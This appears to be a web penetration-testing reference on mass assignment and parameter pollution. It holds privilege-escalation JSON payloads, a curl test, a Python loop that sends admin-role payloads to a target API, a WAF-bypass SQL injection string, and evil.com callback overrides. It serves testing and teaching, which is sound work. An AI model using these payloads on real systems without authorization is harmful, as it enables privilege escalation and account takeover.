- Overview
- Mass Assignment
- HTTP Parameter Pollution
- Server-Side Parameter Pollution
- Testing Methodology
These vulnerabilities occur when applications improperly handle user-supplied parameters, allowing attackers to modify unintended data or manipulate server-side queries.
# Quick mass assignment test
curl -X POST http://$rhost/api/user/update -H 'Content-Type: application/json' -H "Cookie: $cookie" -d '{"name":"test","role":"admin","isAdmin":true}'Mass Assignment (also called Auto-Binding) occurs when an application automatically binds user input to object properties without proper filtering.
Original request
POST /api/user/update HTTP/1.1
Content-Type: application/json
{"name":"John","email":"john@test.com"}Test with additional parameters
{"name":"John","email":"john@test.com","role":"admin"}
{"name":"John","email":"john@test.com","isAdmin":true}
{"name":"John","email":"john@test.com","id":1}
{"name":"John","email":"john@test.com","balance":99999}| Category | Fields to Try |
|---|---|
| Privilege | role, isAdmin, admin, privilege, permissions, group |
| Status | verified, active, approved, confirmed, status |
| Financial | balance, credits, points, discount, price |
| Ownership | user_id, owner_id, account_id, org_id |
| Internal | id, _id, created_at, updated_at, deleted |
{"user":{"name":"test","admin":true}}
{"user[name]":"test","user[admin]":"true"}{"name":"test","__proto__":{"admin":true}}
{"name":"test","constructor":{"prototype":{"admin":true}}}{"username":"test","is_staff":true,"is_superuser":true}{"name":"test","role_id":1}{"username":"test","authorities[0].authority":"ROLE_ADMIN"}API Discovery for Hidden Fields
Get full object to find internal fields
GET /api/users/me HTTP/1.1Response reveals hidden fields
{
"id": 123,
"name": "John",
"email": "john@test.com",
"role": "user",
"verified": false,
"internal_notes": null
}Modify hidden fields
PATCH /api/users/me HTTP/1.1
Content-Type: application/json
{"role":"admin","verified":true}HPP occurs when multiple parameters with the same name are handled differently by web servers and application frameworks.
| Technology | Behavior |
|---|---|
| PHP/Apache | Last occurrence: a=1&a=2 → a=2 |
| ASP.NET/IIS | All occurrences: a=1&a=2 → a=1,2 |
| JSP/Tomcat | First occurrence: a=1&a=2 → a=1 |
| Python/Flask | First occurrence: a=1&a=2 → a=1 |
| Node.js/Express | Array: a=1&a=2 → a=['1','2'] |
| Ruby/Rails | Last occurrence: a=1&a=2 → a=2 |
WAF checks first parameter, app uses last
# Blocked
?id=1' OR '1'='1
# Bypass (if WAF checks first, app uses last)
?id=1&id=1' OR '1'='1
Override callback URL
?callback=legitimate.com&callback=evil.com
Override access token
?access_token=expired&access_token=stolen_valid_token
Facebook/Twitter sharing
https://target.com/share?url=https://target.com&url=https://evil.com
SSPP occurs when user input is included in server-side API calls without proper sanitization.
Original request
GET /search?query=test HTTP/1.1Server makes internal request
GET /api/search?query=test&access=public HTTP/1.1
Injection attempt
GET /search?query=test%26access=admin HTTP/1.1Resulting internal request
GET /api/search?query=test&access=admin&access=public HTTP/1.1
Use # to truncate
GET /search?query=test%23 HTTP/1.1Server-side (parameters after # ignored)
GET /api/search?query=test# &access=public
Original
GET /api/users?id=123
Inject parameter
GET /api/users?id=123%26admin=true
Decoded server-side
GET /api/users?id=123&admin=true
Original request body
{"query":"test"}Server adds to JSON for internal API
{"query":"test","access":"public"}Injection attempt
{"query":"test\",\"access\":\"admin"}- Registration forms
- Profile update endpoints
- Password reset flows
- API endpoints (POST/PUT/PATCH)
- URL parameters in redirects
Step 2: Discover Hidden Parameters
# Check API documentation
# Analyze JavaScript source
grep -r "admin\|role\|permission\|verified" app.js
# Use Arjun for parameter discovery
arjun -u https://target.com/api/update -m POST
# Use param-miner Burp extension#!/usr/bin/env python3
import requests
url = "https://target.com/api/user/update"
headers = {"Authorization": "Bearer TOKEN", "Content-Type": "application/json"}
# Common privilege escalation parameters
payloads = [
{"role": "admin"},
{"isAdmin": True},
{"admin": True},
{"privilege": "admin"},
{"permissions": ["admin"]},
{"user_type": "administrator"},
{"access_level": 999},
]
for payload in payloads:
test_data = {"name": "test", **payload}
r = requests.patch(url, json=test_data, headers=headers)
print(f"Payload: {payload}")
print(f"Status: {r.status_code}, Response: {r.text[:200]}\n")# Same parameter multiple times
?id=1&id=2
# URL encoded
?id=1%26id=2
# Different casing
?id=1&ID=2&Id=3
# Mixed query and body
GET /api?id=1 + POST body: id=2
| Tool | Description |
|---|---|
| Arjun | HTTP parameter discovery |
| ParamSpider | Parameter mining from archives |
| param-miner | Burp extension for finding hidden params |
| x8 | Hidden parameters discovery |
# GET parameters
arjun -u https://target.com/api/user
# POST parameters
arjun -u https://target.com/api/user -m POST
# JSON body
arjun -u https://target.com/api/user -m POST --json
# Custom wordlist
arjun -u https://target.com/api -w params.txt// Privilege escalation
{"role":"admin","admin":true,"isAdmin":true}
// Status change
{"verified":true,"approved":true,"active":true}
// ID manipulation
{"id":1,"user_id":1,"owner_id":1}
// Financial
{"balance":99999,"price":0,"discount":100}# Query string
?param=legit¶m=malicious
# URL encoded
?param=legit%26param=malicious
# Truncation
?param=malicious%23
- API returns more fields than you send
- PUT/PATCH requests accepted
- Predictable object structures
- Framework error messages revealing model
- IDOR & Access Control - Object reference manipulation
- Web Application Analysis - Reconnaissance and API discovery
- NoSQL Injection - Parameter manipulation in NoSQL